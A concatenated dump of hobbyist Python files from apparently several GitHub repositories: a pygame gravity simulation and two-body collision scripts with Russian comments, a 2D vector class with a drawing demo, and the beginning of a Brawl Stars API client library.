if event.type == KEYDOWN and event.key == K_SPACE: return True elif event.type == KEYDOWN and event.key == K_ESCAPE: return False # проверка на существование def check(arr): bo = False for i in range(len(arr)): if arr[i].live is False: del arr[i] arr.insert(i, None) bo = True for _ in range(arr.count(None)): arr.remove(None) return arr, bo # рандомный цвет def rand_c(min=0): return (ri(min,255), ri(min,255), ri(min,255)) # инверсия вокруг точки def turn(point, center): x = center[0] + (center[0] - point[0]) y = center[1] + (center[1] - point[1]) return (x,y) # импорт картинки, реализация экрана def main_relise(img, scr): bgr = pygame.image.load(img) path = pygame.display.set_mode(scr, RESIZABLE) # FULLSCREEN) , SRCALPHA path.set_alpha(100) bgr = pygame.transform.scale(bgr, scr) path.blit(bgr,(0,0)) pygame.display.set_caption("Press [Space] to play/pause and [esc] to escape") return path, bgr # импорт картинки def img_imp(img, size=None, alpha=None): star = pygame.image.load(img) if size != None: star = pygame.transform.scale(star, (size, size)) if alpha != None: star.set_colorkey(alpha) return star # реализация текста def font_rel(f_siz, num_symol, fram_r, fram_c, txt_font="arial"): font = pygame.font.SysFont(txt_font, f_siz) siz = (f_siz*0.65*num_symol, f_siz*1.1) bla = pygame.Surface(siz) bla.fill((0, 0, 0)) pygame.draw.rect(bla, fram_c, (1,1, *sum_vec(siz, [-2,-2])), fram_r) black = bla.copy() return font, bla, black # столкновение def collision(abod): for i in range(len(abod)): other = abod[:] del other[i] bod = abod[i] if bod.live is True: m = bod.m for ob in other: m2 = ob.m x, y = bod.x, bod.y x2, y2 = ob.x, ob.y rad = bod.rad if x-rad < x2 < x+rad and y-rad < y2 < y+rad: if m < m2: bod.live = False elif m > m2: bod.vec = add_vec(bod.vec, ob.vec) bod.rad = round(ve_l([rad, ob.rad])) bod.r = int(ve_l([bod.r, ob.r])) if m2 < 0: bod.m -= m2 else: bod.m += m2 elif m == m2: bod.m = -m bod.live = False return abod # класс физического тела class body(): def __init__(self, m, pos, vec, phy, draw, model=0): step, border, react, react2 = phy col, r_path, r, dr, dr_vec, max, conn = draw #self.density = den # плотность den = 10**-2 s = ma.fabs(m/den) # площадь rad = round(ma.sqrt(s/ma.pi)) self.m = m # масса self.rad = rad*10**-2 #1*10**-1.1 # радиус тела self.borderx, self.bordery = border # границы self.live = True # существование self.x, self.y = pos # положение (x,y) self.vec = vec_mul(vec,10**-4.5) # вектор {x,y} self.step = step # шаг времени self.col = col # цвет отображения тел self.r_path = r_path # радиус отрисовки пути тел self.r = rad #r # радиус отрисовки тел self.dr_bo = bool(dr) # рисовать ли тело self.react = bool(react) # реагирует ли тело на другие тела self.react_all = bool(react2) # реагируют ли другие тела на тело self.dr_vec = bool(dr_vec) # рисовать ли вектор self.model = model # отрисует картинку вместо точки self.p_arr = [] # массив пути self.max = max # максимальное количество точек в массиве пути self.connect = conn # соединять ли точки пути # печать значений объекта класса def pr(self,*ar,**kw): en = "\n" if kw.get("end") != None: en = kw.get("end") if len(ar) == 1: print(self.__dict__[ar[0]], end=en) else: print(self.__dict__, end=en) # просчёт физ взаимодействия def calc(self, *obb): for ob in obb: mx, my = self.x, self.y dx, dy = ob.x, ob.y rad = self.rad # если центры масс тел ближе чем # радиусы тел они не перестают # притягивать друг друга if (ma.fabs(mx-dx) > rad or ma.fabs(my-dy) > rad) and self.react is True and ob.react_all is True: # вект скорости, вызванный ускор # или же силой другого тела add_vec = v_vec([-mx+dx, -my+dy], self.m, ob.m, self.step) # сложение нового и старого вект self.vec = sum_vec(add_vec, self.vec) # перемещ тела на нов вектор скорости vec = self.vec self.x += vec[0] self.y += vec[1] bx, by = self.borderx, self.bordery if (bx and by) > 0: if ma.fabs(self.x) >= bx or ma.fabs(self.y) >= by: self.live = False # отрисовка положения тела def draw(self, path, scax, scay, indentx, indenty, type=1): if self.dr_bo is True: # получение разрешения окна w, h = path.get_width(), path.get_height() px, py = self.x, self.y vec = self.vec col = self.col # положение центра фигуры hx, hy = transform(px, py, w, h, scax, scay, indentx, indenty) # тип объекта if type == 1: r = self.r_path type = r elif type == 0: r = self.r # отрисовка тела mo = self.model if type != 1 and mo != 0: # модель path.blit(mo, (int(hx-mo.get_width()//2), int(hy-mo.get_height()//2))) else: # круг pygame.draw.circle(path, col, (int(hx), int(hy)), r, type) # отрисовка вектора if type != 1 and ve_l(vec) != 0 and self.dr_vec is True: vve = add_vec(vec_mul(vec, 10**4.9375), (hx, hy)) pygame.draw.line(path, (0, 255, 0), (hx, hy), vve, 3) return path # запись пути в массив def add(self, pause): if pause is False: arr = self.p_arr arr.append([self.x, self.y]) if len(arr) > self.max: del arr[0] # отображение пути def dr_path(self, img, scax, scay, indentx, indenty): arr = self.p_arr w, h = img.get_width(), img.get_height() col = self.col r = self.r_path for i in range(1,len(arr)): hx, hy = transform(arr[i][0], arr[i][1], w, h, scax, scay, indentx, indenty) conn = self.connect if conn is True: if len(arr) >= 2: hx2, hy2 = transform(arr[i-1][0], arr[i-1][1], w, h, scax, scay, indentx, indenty) pygame.draw.line(img, col, (hx, hy), (hx2, hy2), r*3) else: pygame.draw.line(img, col, (hx, hy), (hx, hy), r*3) elif conn is False: pygame.draw.circle(img, col, (int(hx), int(hy)), r, r) # главная функция def main_f(abod, phy, draw, txt, show, correction): # сокращение for _ in range(1): dr_txt, st_point, font, bla, black = txt scr, path, bgr, dr_fr_path, dr_fr_bod, max, conn = draw scax, scay, indx, indy, ind_n, ind_c, sca_n, sca_c = correction cha, conv_n, end_n, conv_v, end_v, i_conv = show step, border, rpath, r_n, draw_n, dr_vec_n, st_vec_r = phy ch_bo = True if (phy[1][0] and phy[1][1]) <= 0: ch_bo = False # нажатие touched = False fr_toch = True vec_n = pos_n = [0,0] # предобъявление run = True pause = False run = pau() # кнопки pr_w = False pr_a = False pr_s = False pr_d = False pr_z = False pr_x = False # счётчик co = 0 while run: # условия окончания программы for event in pygame.event.get(): # нажатия мышью / пальцем if event.type == pygame.MOUSEBUTTONDOWN: touched = True elif event.type == pygame.MOUSEBUTTONUP: touched = False # нажатие клавиатуры if event.type == KEYDOWN: # выход if event.key == K_ESCAPE: run = False if event.key == K_v: pass if event.key == K_h: indy, indx = 0, 0 # движение if event.key == K_w: pr_w = True elif event.key == K_s: pr_s = True if event.key == K_a: pr_a = True elif event.key == K_d: pr_d = True # масштаб if event.key == K_z: pr_z = True elif event.key == K_x: pr_x = True # частота отрисовки if event.key == K_o: dr_fr_path += 1 elif event.key == K_p: dr_fr_path -= 1 # вывод положения тел в консоль elif event.key == K_f: for i in abod: i.pr("x",end="") i.pr("y") elif event.key == K_c: abod = [] path.blit(bgr,(0,0)) # пауза elif event.key == K_SPACE: pause = not pause if event.type == KEYUP: # движение if event.key == K_w: pr_w = False elif event.key == K_s: pr_s = False if event.key == K_a: pr_a = False elif event.key == K_d: pr_d = False if event.key == K_z: pr_z = False elif event.key == K_x: pr_x = False if co%ind_c == 0: if pr_w is True: indy += ind_n elif pr_s is True: indy -= ind_n if pr_a is True: indx += ind_n elif pr_d is True: indx -= ind_n if co%sca_c == 0: if pr_z is True: scax -= sca_n scay -= sca_n if pr_x is True: scax += sca_n scay += sca_n # создание нового объекта, с помощью касания if touched is True: if fr_toch is True: st_p_n = pygame.mouse.get_pos() col_n = rand_c() pos_n = mp(scax, scay, scr, indx, indy) abod.append(body(ri(1,5), pos_n, [0,0], (step, border, 0, 0), (col_n, rpath, r_n, draw_n, dr_vec_n, max, conn))) fr_toch = False elif fr_toch is False: vec_n = add_vec(pos_n, mp(scax, scay, scr, indx, indy), sign=-1) abod[-1].vec = vec_mul(vec_n, 10**-4.5) abod[-1].react = True abod[-1].react_all = True fr_toch = True # смена на следующий рисунок if cha is True and ve_l([abod[1].x, abod[1].y]) > end_v and end_n[i_end] is True: dr_fr_path += 1 a = body(m1, [xp1, yp1], [xv1, yv1], step, col1, r1, rpath, draw1, react1, dr_vec1) b = body(m2, [xp2, yp2], [xv2, yv2], step, col2, r2, rpath, draw2, react2, dr_vec2, star) abod = [a, b] path.blit(bgr,(0,0)) conv_n = [True for _ in range(3)] i_conv = 0 conv_v = 5.125 i_end = (i_end + 1)%2 end_n[0] = end_n[1] end_n[1] = True end_in += 1 # смена частота отрисовки if cha is True and ve_l([abod[1].x, abod[1].y]) > conv_v and i_conv < len(conv_n) and conv_n[i_conv] is True: dr_fr_path += 1 conv_n[i_conv] = False conv_v += 5.125 i_conv += 1 abod = collision(abod) #if ch_bo is True: abod, _ = check(abod) # цикл перечисляет все элементы # массива с телами for i in range(len(abod)): other = abod[:] del other[i] # симуляция взаимействия # на тело i действуют тела other # и оно реагирует ( движется или стоит) if pause is False: abod[i].calc(*other) if co%dr_fr_path == 0: abod[i].add(pause) #False/pause # раз в _ шагов рисуются и отображаются все тела if co%dr_fr_bod == 0: # создаём копию, чтобы не повредить # основное изображение с путями img = path.copy() for i in range(len(abod)): abod[i].dr_path(path, scax, scay, indx, indy) # рисуем вектор скорости нового тела if touched is True: dr_t_v = turn(pygame.mouse.get_pos(), st_p_n) pygame.draw.line(path, col_n, st_p_n, dr_t_v, st_vec_r) for i in range(len(abod)): # рисуем каждое тело path = abod[i].draw(path, scax, scay, indx, indy, type=0) # текст на изображении if dr_txt is True: bla.blit(black, (0,0)) path.blit(bla, st_point) some = len(abod)#ve_l([abod[1].x, abod[1].y]) #end_in #ve_l([abod[0].x-abod[1].x, abod[0].y-abod[1].y]) text1 = font.render(str(some), 1, (0, 0, 255)) path.blit(text1, sum_vec(st_point, [5, 0])) pygame.display.update() path.blit(img, (0,0)) # добавление шага co += 1 if __name__ == '__main__': # инициализация pygame pygame.init() # масштаб p = 1.91 scax = scay = 50 #40*p#87.5*p # сдвиг, в % от всего изображения indx, indy = 0, 0 # percent # масса m1 = -1 #ra.randint(3, 7) m2 = 1*10**0.5 #ra.randint(3, 7) # положение тел xp1, yp1 = 0, 0 #ra.randint(-3, 3), ra.randint(-3, 3) -2.5 xp2, yp2 = 0, 3 #ra.randint(-3, 3), ra.randint(-3, 3) # нач скорость xv1, yv1 = 0, 0 #ra.randint(-3, 3)*10**-4, ra.randint(-3, 3)*10**-4 5.3153 xv2, yv2 = 4, 0 #ra.randint(-3, 3)*10**-4, ra.randint(-3, 3)*10**-4 # шаг времени step = 1*10**-6.75 # границы border = (0, 0) #(16, 8) # реагирует ли тело на другие тела react1 = 1 react2 = 1 # # реагируют ли другие тела на тело reall1 = 1 reall2 = 1 # цвет тел col1 = (0, 0, 255) col2 = (255, 0, 0) # радиус пути rpath = 1 # радиус отрисовки тел r1 = r2 = r3 = r4 = r_n = 10 # отрисовка тел draw1 = 1 draw2 = 1 # draw_n = 1 # отрисовка векторов dr_vec1 = 1 # dr_vec2 = 1 dr_vec_n = 1 # толщина линии вектора нач скорости # при создании нового тела st_vec_r = 6 # частота отрисовки dr_fr_path = 1 #+ 4*52 dr_fr_body = 300 # импорт картинки, реализация экрана scr = (1540, 801) #(1080, 2340) path, bgr = main_relise("space2.jpg", scr) star = img_imp("star2.png", 50, (255, 255, 255)) # реализация текста dr_txt = bool( 1 ) f_siz = 30 num_symol = 6 st_point = (15, 15) fram_c = (127, 127, 127) font, bla, black = font_rel(f_siz, num_symol, 1, fram_c) # параметры для шоу "смена частоты отрисовки" cha = False conv_n = [True for _ in range(3)] end_n = [True for _ in range(2)] conv_v = 5.125 end_v = 20.5 i_conv = i_end = end_in = 0 # создание экземпляра класса a = body(m1, [xp1, yp1], [xv1, yv1], (step, border, react1, reall1), (col1, rpath, r1, draw1, dr_vec1)) b = body(m2, [xp2, yp2], [xv2, yv2], (step, border, react2, reall2), (col1, rpath, r2, draw2, dr_vec2), model=star) # массив со всеми телами, что # будут использоваться в симуляции all_bodies = [a,b] # создаём "упаковки" для информации txt = dr_txt, st_point, font, bla, black draw = scr, path, bgr, dr_fr_path, dr_fr_body correction = scax, scay, indx, indy show = cha, conv_n, end_n, conv_v, end_v, i_conv phy = step, border, rpath, r_n, draw_n, dr_vec_n, st_vec_r main_f(all_bodies, phy, draw, txt, show, correction) --- FILE SEPARATOR --- def forse(r): global g,m1,m2 fo = g*m1*m2/r**2 a1 = m1/fo a2 = - m2/fo return fo, a1, a2 def dist(pos1,pos2,vel1,vel2,step,a1, a2): pos1 = pos1+vel1*step+(a1*step**2)/2 pos2 = pos2+vel2*step+(a2*step**2)/2 vel1 += a1*step vel2 += a2*step return pos1, pos2, vel1, vel2 def coun(pos1,pos2,vel1,vel2,step): global g,m1,m2 forse = (g*m1*m2)/r**2 a1 = forse/m1 a2 = forse/m2 vel1 += a1*step vel2 += a2*step pos1 += vel1*step pos2 += vel2*step return pos1, pos2, vel1, vel2, a1, a2 m1=1*10**-0 m2=2*10**-0 #m1 = m1**-1 #m2 = m2**-1 g=6.6743015*10**-11 r = 1*10**-0 pos1, pos2=0, r vel1, vel2=0, 0 step=1*10**-1 num1 = 0 arr_v1 = [] arr_v2 = [] arr_p1 = [] arr_p2 = [] b = False while 1: #if num1 % 500 == 0 and b is True: #arr_v1.append(vel1) #arr_v2.append(vel2) #arr_p1.append(pos1) #arr_p2.append(pos2) num1 += 1 t = coun(pos1,pos2,vel1,vel2,step) pos1, pos2, vel1, vel2, a1, a2 = t if (pos2-pos1) <= 0: break print(f" изнач. расстояние {r} метр(ов/а)") #print(" окончательное расстояние",pos2-pos1) #print(" разница расстояний",r-(pos2-pos1)) print(" точка столкновения ≈", pos1)#pos1+(pos2-pos1)/2,"\n") print(" кол-во шагов", num1) print(" часов",step*num1/3600) print(" минут",step*num1/60) print(" секунд",step*num1) print() print(" скорость 1 тела при столкнлвении",vel1) print(" скорость 2 тела при столкнлвении",vel2,"\n") #print(arr_v,arr_p) #f1 = open("text1.txt", "w") #f2 = open("text2.txt", "w") #f3 = open("text3.txt", "w") #f4 = open("text4.txt", "w") #for i in arr_p1: # f1.write(str(i)+" ") # f2.write(str(i)+" ") # f3.write(str(i)+" ") # f4.write(str(i)+" ") #f1.close() #f2.close() #f3.close() #f4.close() --- FILE SEPARATOR --- import matplotlib.pyplot as plt import numpy as np import math as ma import cv2 as cv import time def coun(some,po,vel,step): g,m1,m2 = some posx1, posx2, posy1, posy2 = po vel1, vel2, vely1, vely2 = vel forse, forse2 = 0, 0 if posx2-posx1 != 0: forse = (g*m1*m2)/(posx2-posx1)**2 if posy2-posy1 != 0: forse2 = (g*m1*m2)/(posy2-posy1)**2 a1 = forse/m1 a2 = -forse/m2 ay1 = forse2/m1 ay2 = -forse2/m2 vel1 += a1*step vel2 += a2*step vely1 += ay1*step vely2 += ay2*step posx1 += vel1*step posx2 += vel2*step posy1 += vely1*step posy2 += vely2*step return (posx1, posx2, posy1, posy2), (vel1, vel2, vely1, vely2), (a1, a2, ay1, ay2), forse def soo(arr): for i in arr: print(len(i)) m1=1*10**-3 m2=2*10**-3 #m1 = m1**-1 #m2 = m2**-1 g=6.6743015*10**-11 rx = 1*10**0 ry = 2*10**0 posx1, posx2=0, rx posy1, posy2=0, ry vel1, vel2= 0, 0 vely1, vely2= 0, 0 a1, a2 = 0, 0 ay1, ay2 = 0, 0 foo = 0 step=1*10**1 num1 = 0 num2 = 0 sma = 1*10**-2 arr_v1 = [] arr_v2 = [] a_px1 = [] a_px2 = [] arr_a1 = [] arr_a2 = [] a_vy1 = [] a_vy2 = [] a_py1 = [] a_py2 = [] a_ay1 = [] a_ay2 = [] arr_f =[] b = True po = [posx1, posx2, posy1, posy2] vel = [vel1, vel2, vely1, vely2] a = [a1,a2,ay1,ay2] zer = np.zeros((200,200,3)) mid = zer.shape[0]//2, zer.shape[1]//2 while 1: #plt.imshow(zer) if num1 % 500 == 0 and b is True: arr_v1.append(vel[0]) arr_v2.append(vel[1]) a_vy1.append(vel[2]) a_vy2.append(vel[3]) a_px1.append(po[0]) a_px2.append(po[1]) a_py1.append(po[2]) a_py2.append(po[3]) arr_a1.append(a[0]) arr_a2.append(a[1]) a_ay1.append(a[2]) a_ay2.append(a[3]) arr_f.append(foo) num2 += 1 num1 += 1 t = coun((g,m1,m2),po,vel,step) po, vel, a, foo = t if 0 <= ma.fabs(po[1]-po[0]) <= sma and 0 <= ma.fabs(po[3]-po[2]) <= sma or num2 >= 1000: break #soo([arr_v1,a_vy1,a_px1,arr_a2]) posx1, posx2, posy1, posy2 = po vel1, vel2, vely1, vely2 = vel print(f" масса 1 тела = {m1} кг") print(f" масса 2 тела = {m2} кг\n") print(f" изнач. расстояние {rx} метр(ов/а)") #print(" окончательное расстояние",pos2-pos1) #print(" разница расстояний",r-(pos2-pos1)) print(" точка столкновения ≈", (posx1+posx2)/2, "\n") print(" кол-во шагов", num1) print(f" величина шага {step} сек \n") print(" часов",step*num1/3600) print(" минут",step*num1/60) print(" секунд",step*num1) print() print(" скорость 1 тела при столкнлвении ≈",vel1) print(" скорость 2 тела при столкнлвении ≈",vel2,"\n") size = 10 #input() arra = np.arange(len(arr_v1)) arra = arra*500*step/(3600) plt.subplot(4,2,2) plt.plot(arra, a_px1, label="1 тело", linewidth=5.0) plt.plot(arra, a_px2, label="2 тело", linewidth=5.0) plt.title("положение тел по x оси", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров") plt.subplot(4,2,1) plt.plot(arra, arr_v1, label="1 тело", linewidth=5.0) plt.plot(arra, arr_v2, label="2 тело", linewidth=5.0) plt.title("скорости тел", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров/сек") '''plt.subplot(3,1,3) plt.plot(arra, arr_f, label="сила", linewidth=3.) plt.title("сила тяготения", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("ньютон")''' plt.subplot(4,2,4) plt.plot(arra, np.array(a_px2)-np.array(a_px1), label="дистанция", linewidth=5.0) plt.title("дистанция между телами по x", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров") plt.subplot(4,2,3) plt.plot(arra, arr_a1, label="1 тело", linewidth=3.) plt.plot(arra, arr_a2, label="2 тело", linewidth=3.) plt.title("ускорение тел по x", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров/сек²") plt.subplot(4,2,6) plt.plot(arra, a_py1, label="1 тело", linewidth=5.0) plt.plot(arra, a_py2, label="2 тело", linewidth=5.0) plt.title("положение тел по y оси", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров") plt.subplot(4,2,5) plt.plot(arra, a_vy1, label="1 тело", linewidth=5.0) plt.plot(arra, a_vy2, label="2 тело", linewidth=5.0) plt.title("скорости тел по y", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров/сек") plt.subplot(4,2,7) plt.plot(arra, a_ay1, label="1 тело", linewidth=3.) plt.plot(arra, a_ay2, label="2 тело", linewidth=3.) plt.title("ускорение тел по y", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров/сек²") plt.subplot(4,2,8) plt.plot(arra, np.array(a_py2)-np.array(a_py1), label="дистанция", linewidth=5.0) plt.title("дистанция между телами по y", fontsize=size) plt.grid(True) plt.legend(fontsize=size) plt.xlabel("часов") plt.ylabel("метров") #plt.show() zer = np.zeros((200,200,3)) mid = zer.shape[0]//2, zer.shape[1]//2 #zer[:] = (255,255,255) for i in range(len(arra)): time.sleep(0.0001) po = a_px1[i], a_px2[i], a_py1[i], a_py2[i] zer[:] = (0,0,0) cv.circle(zer, (mid[0]+int(po[0]*50),mid[1]+int(po[2]*50)), int(m1*10000), (0,0,255), 4) cv.circle(zer, (mid[0]+int(po[1]*50),mid[1]+int(po[3]*50)), int(m2*10000), (0,0,255), 4) #cv.line(zer, (mid[0]+int(po[0]*50),mid[1]+int(po[2]*50)), (mid[0]+int(po[1]*50),mid[1]+int(po[3]*50)), (0,0,255), 5) cv.imshow("img",zer) if cv.waitKey(1) & 0xFF == ord('2'): break #zer = np.zeros((200,200,3)) #cv.circle(zer, (int(po[0]*50),int(po[2]*50)), int(m1*10000), (0,0,255), 4) #cv.circle(zer, (int(po[1]*50),int(po[3]*50)), int(m2*10000), (0,0,255), 4) #cv.imshow("img",zer) #if cv.waitKey(1) & 0xFF == ord('2'): # break --- FILE SEPARATOR --- import cv2 as cv import numpy as np pos1, pos2 = [], [] f = open("text1.txt", "r") t = f.read() arr1 = list(t.split()) for i in range(len(arr1)): if i % 10**4 == 0: pos1.append(float(arr1[i])) else: pos2.append(float(arr1[-1])) f.close() f = open("text2.txt", "r") t = f.read() arr2 = list(t.split()) for i in range(len(arr2)): if i % 10**4 == 0: pos2.append(float(arr2[i])) else: pos2.append(float(arr2[-1])) f.close() print(len(arr1),len(pos1)) co = 10**2.1008 img2 = np.zeros((700//2,500,3)) #print(img.shape[2]-img.shape[1]//6-int(pos2[2]*co)) for i in range(len(pos1)) #for i in range(len(pos1)): # img = np.zeros((700//2,1000,3)) # cv.circle(img, (img.shape[1]//4+int(pos1[i]*co),img2.shape[1]//2),4,(0,0,255),2) # cv.circle(img, (img.shape[1]//4+img2.shape[1]-int(pos2[i]*co),img2.shape[1]//2),8,(0,0,255),2) # cv.imshow("some", img) # if cv.waitKey(1) & 0xFF == ord('2'): # break
[ "/oop_phy.py", "/oop_phy_pyg_values.py", "/oop_phy_pygame.py", "/physical_simulation.py", "/модуль1 (2).py", "/модуль1.py" ]
0dminnimda/Vector_class
from vect_class import Vector import pygame as pg from pygame.locals import * from pygame_draw import pyg_draw from math import ceil, floor, sin, cos, pi, tau, tan pd = pyg_draw(1) w, h = pd.cen() clo = pd.clock arr = [] v = Vector([200, 0], [w, h]) v1 = Vector([0, 300], v.e)#[w, h]) a = v.copy()#.inv(0, ret=1) a1 = v1.copy()#.inv(1, ret=1) a1.move(v.s) #a.move(a.e) #a.link(s=v1.e) #a1.link(s=a.e) #a.inv(1) an = v.ang() vcs = [a, a1] + [v, v1] #print(vcs, [id(i) for i in vcs]) run = True -0 c = -1 while run: clo.tick(60) c += 1 for event in pg.event.get(): if event.type == KEYDOWN: if event.key == K_ESCAPE: run = False for i in vcs: i.draw(pd, 3) pd.circ(i.s, 5) i.draw_arrow(pd) alp = an+c/50%tau #vcs[2].set_ang(-alp) #vcs[0].set_ang(-alp) #v1.set_abs(c/50%tau)#c/1000%pi*100+(-tau)**2 #arr.append(vcs[2].pts()[1]) for i in arr: pd.circ(i) pd.upd() pd.fill() --- FILE SEPARATOR --- import numpy as np from math import ceil, floor, sin, cos, pi, tau, atan2 class Vector: def __init__(se, e=None, s=None, n=2): #n = se.e.shape[0] se.__n = n if type(s) == type(np.array([])): se.s = s elif s == None: se.s = np.zeros(n, dtype=np.float) else: se.s = np.array(s[:n], dtype=np.float) if type(e) == type(np.array([])): se.e = e elif e == None: se.e = np.zeros(n, dtype=np.float) else: se.e = np.array(e[:n], dtype=np.float) + se.s se.ab = abs(se) def _st(se, a): return str(list(a))[1:-1] def __str__(se): return f"Vector{{{se._st(se.s)}}}{{{se._st(se.e-se.s)}}}" def __repr__(se): return se.__str__() def __add__(se, oth): e = se.ptsv()+oth.ptsv() return Vector(e, se.s) def __sub__(se, oth): e = se.ptsv()-oth.ptsv() return Vector(e, se.s) def __mul__(se, oth): e = se.e*oth return Vector(e, se.s) def __truediv__(se, oth): e = se.e/oth return Vector(e, se.s) def __floordiv__(se, oth): e = se.e//oth return Vector(e, se.s) def __mod__(se, oth): e = se.e%oth return Vector(e, se.s) def __divmod__(se, oth): return se.__floordiv__(oth), se.__mod__(oth) def __round__(se): e = np.round(se.e) return Vector(e) def __ceil__(se): e = np.ceil(se.e) return Vector(e) def __floor__(se): e = np.floor(se.e) return Vector(e) def __lt__(se, oth): return abs(se) < abs(oth) def __le__(se, oth): return abs(se) <= abs(oth) def __eq__(se, oth): return abs(se) == abs(oth) def ___ne__(se, oth): return abs(se) != abs(oth) def __gt__(se, oth): return abs(se) > abs(oth) def __ge__(se, oth): return abs(se) >= abs(oth) def __abs__(se): return np.linalg.norm(se.e-se.s) def sum(se, oth): se.e = se.ptsvnc()+oth.ptsvnc()+se.s #return Vector(e, se.s) def ang(se): return pi*12/16-atan2(*(se.e-se.s)) def set_ang(se, alpha): rad = se.ab#abs(se) se.e[0] = se.s[0] + rad * cos(alpha) se.e[1] = se.s[1] + rad * sin(alpha) #return Vector(x, y) def turn(se, alp, pt): pass def move(se, s): e = se.ptsv() se.s = s.copy() se.e = s+e def lock(se, oth): se.e = oth.s def link(se, **args): '''try: se = args['seg'] except KeyError:pass''' for k, v in args.items(): '''if k == "seg": pass#se = v else:''' se.__dict__[k] = v def col(se): #print(se.__dict__) return se.lin def set_abs(se, rad): #rad = se.ab se.e[0] = se.s[0] + rad * cos(se.ang()) se.e[1] = se.s[1] + rad * sin(se.ang()) def mul_abs(se, mul): ar = (se.s-se.e)*mul se.e = ar + se.s def perp(se, ar, ret=False): if bool(ret) is True: oth = se.copy() elif bool(ret) is False: oth = se for i in range(len(ar)): if 0 <= i <= oth.__n: oth.e = oth.s+(oth.s-oth.ptsv())[::-1] if ar[i] == 0: oth.e[0] = oth.s[0]-oth.ptsv()[0] elif ar[i] == 1: oth.e[1] = oth.s[1]-oth.ptsv()[1] oth.e[i] = oth.s[i]-oth.ptsv()[i] if bool(ret) is True: return oth def copy(se): return Vector(se.e.copy(), se.s.copy()) def inv(se, *ar, ret=False): ret = bool(ret) if ret is True: oth = se.copy() for i in ar: if 0 <= i <= oth.__n: oth.e[i] = oth.s[i]-oth.ptsv()[i] return oth if ret is False: for i in ar: if 0 <= i <= se.__n: se.e[i] = se.s[i]-se.ptsv()[i] def draw_arrow(se, pd): pd.poly(se.arrow_pts()) def draw(se, pd, r=1): pd.line(se.s, se.e, "red", r) #return (0, 0), (se.x, se.y) def pts(se): return se.s.copy(), se.e.copy() def ptsv(se): return (se.e-se.s).copy() def ptsvnc(se): return (se.e-se.s) def arrow_pts(se, rat=0.15, mul=0.4): vec = se.ptsv() vec_s = vec*rat vec_l = vec-vec_s p1 = vec_l+(vec_s[1]*mul, -vec_s[0]*mul) p2 = vec_l+(-vec_s[1]*mul, vec_s[0]*mul) return se.s+p1, se.s+p2, se.e if __name__ == "__main__": v1 = Vector([3, 4], [0, 0, 0]) v2 = Vector([12, 5], [4, 0]) v3 = Vector([0.4, 0.5]) num = 2 print(v1, v2, v3, num) print(abs(v1), abs(v2)) print(v1+v2) print(v1-v2, v2-v1) print(v1*num, v2*num) print(v1/num, v2/num) print(v1//num, v2//num) print(v1%num, v2%num) print(divmod(v1, num)) print(divmod(v2, num)) print(v1 < v2, v1 <= v2) print(v1 > v2, v1 >= v2) print(v1 == v2, v1 != v2) print(round(v3)) print(ceil(v3)) print(floor(v3)) print(v2.pts(), v2.ptsv())
[ "/vec_vis.py", "/vect_class.py" ]
0dminnimda/brawlpython
# -*- coding: utf-8 -*- __version__ = "2.6.0" __name__ = "brawlpython" from .api import API from .clients import AsyncClient, SyncClient __all__ = ( "AsyncClient", "SyncClient", "API") --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from .api_toolkit import make_headers from .typedefs import STRDICT from pyformatting import defaultformatter from typing import Any, Dict, Optional, Union import urllib.parse as parse __all__ = ( "API", "default_api_dict", "KINDS", "KIND_VALS", "KIND_KEYS", "OFFIC", "CHI", "STAR", "OFFICS", "UNOFFICS") default_format = defaultformatter(str) class API: __slots__ = "base", "endpoints", "hashtag", "headers" def __init__(self, base: str, endpoints: STRDICT = {}, hashtag: bool = True) -> None: http = base.startswith("http://") https = base.startswith("https://") if not (http or https): base = "https://" + base elif http: base = "https://" + base[len("http://"):] if not base.endswith("/"): base += "/" self.base = base self.headers = {} self.endpoints = {} self.append(endpoints) self.hashtag = hashtag def append(self, endpoints: STRDICT) -> None: for name, path in endpoints.items(): if name == "base": raise ValueError("names must be not 'base'") endpoints[name] = parse.urljoin(self.base, path) self.endpoints.update(endpoints) def set_api_key(self, api_key: str) -> None: if api_key is not None: self.headers = make_headers(api_key) def get(self, name: str) -> str: if name == "base": return self.base get = self.endpoints.get(name) if get is None: raise ValueError("`name` must be specified") return get def make_url(self, name: str, **params) -> str: url = self.get(name) tag = params.get("tag") if tag is not None: params["tag"] = self.remake_tag(tag) if params.get("limit") is not None: url += "?limit={limit}" return default_format(url, **params) def remake_tag(self, tag: str) -> str: tag = tag.strip("#") if self.hashtag: tag = "#" + tag return parse.quote_plus(tag) # before and after - is so impractical that I suppose nobody will use this # that's why I decided not to include it here official = { "players": "players/{tag}", "battlelog": "players/{tag}/battlelog", "clubs": "clubs/{tag}", "members": "clubs/{tag}/members", "rankings": "rankings/{code}/{kind}/{id}", "brawlers": "brawlers/{id}"} starlist = { "events": "events", "brawlers": "brawlers", "icons": "icons", "maps": "maps/{id}", "gamemodes": "gamemodes", "clublog": "clublog/{tag}", "translations": "translations/{code}"} KINDS = { "b": "brawlers", "c": "clubs", "p": "players", "ps": "powerplay/seasons"} KIND_VALS = list(KINDS.values()) KIND_KEYS = list(KINDS.keys()) OFFIC = "official" CHI = "chinese" STAR = "starlist" OFFICS = (OFFIC, CHI) UNOFFICS = (STAR,) default_api_dict = { OFFIC: API("api.brawlstars.com/v1", official), CHI: API("api.brawlstars.cn/v1", official), STAR: API("api.starlist.pro", starlist, hashtag=False), } --- FILE SEPARATOR --- # -*- coding: utf-8 -*- from . import __version__, __name__ from .typedefs import STRDICT from .cache_utils import somecachedmethod, iscorofunc from asyncio import ensure_future as ensure, gather from collections.abc import ByteString, Collection, Mapping, Sized from functools import update_wrapper import sys from typing import Dict, Union __all__ = ( "default_headers", "make_headers", "isliterals", "iscollection", "issized", "isunit", "isempty", "ismapping", "isrequiredcollection", "same", "unique", "prepare_param", "check_params", "_rearrange_params", 